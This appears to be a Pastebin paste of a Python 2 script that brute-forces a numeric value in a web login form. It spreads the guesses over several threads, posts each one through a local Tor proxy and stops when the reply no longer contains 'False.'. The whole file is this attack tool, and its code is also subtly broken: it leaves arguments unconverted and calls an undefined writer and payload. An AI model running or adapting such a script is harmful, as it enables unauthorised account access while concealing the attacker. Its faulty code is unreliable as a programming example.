Advertisement
Guest User

Untitled

a guest
Apr 19th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import time, requests, sys, queue, random
  3. from threading import Thread
  4.  
  5. url = sys.argv[1]
  6. headers = {"UserAgent":"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",        }
  7. proxies = {'http': 'socks5h://127.0.0.1:9150','https': 'socks5h://127.0.0.1:9150'}
  8.  
  9. i = 0
  10. threadNum = int(sys.argv[2])
  11. testNumsFromTo = (sys.argv[3], sys.argv[4])
  12.  
  13. def makeThreads(threadNum, testNumsFromTo):
  14.     tList = []
  15.     fullRange = testNumsFromTo[1] - testNumsFromTo[0]
  16.     for i in range(1, threadNum + 1):
  17.         numRange = (testNumsFromTo[0] + (fullRange/threadNum)*(i-1)  , testNumsFromTo[0] + (fullRange/threadNum)*(i))
  18.         tList.append(getter(numRange, str(i)))
  19.     return tList
  20.        
  21. class getter(Thread):
  22.     def __init__(self, numRange, name):
  23.         Thread.__init__(self)
  24.         self.name = name
  25.         self.numRange = numRange
  26.         self.payload = {u'♊': '', 'login':''}
  27.    
  28.     def run(self):
  29.         global i
  30.         print self.name + ' started ...'
  31.         for self.num in range(self.numRange[0], self.numRange[1]) :
  32.             while True :
  33.                 try :
  34.                     self.payload[u'♊'] = self.num
  35.                     self.data = requests.post(url, data = self.payload, proxies = proxies )
  36.                     if ('False.' in self.data.text.encode(sys.stdout.encoding, errors='replace')) :
  37.                         time.sleep(random.randrange(0,1000)/10000.0)
  38.                         print (self.name + ' ___ ' + str(self.payload[u'♊']) + ' ->      num :' + str(i))
  39.                         i+=1
  40.                     else :
  41.                         print ('Done ! ' + str(self.num)) ; self.writer.write(payload[u'♊']) ; self.writer.close()
  42.                         break
  43.                 except Exception as e :
  44.                     print e
  45.                     time.sleep(15)
  46.                     continue
  47.                 break
  48.    
  49. threads = makeThreads(threadNum, testNumsFromTo)
  50.  
  51. for thread in threads :
  52.     thread.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement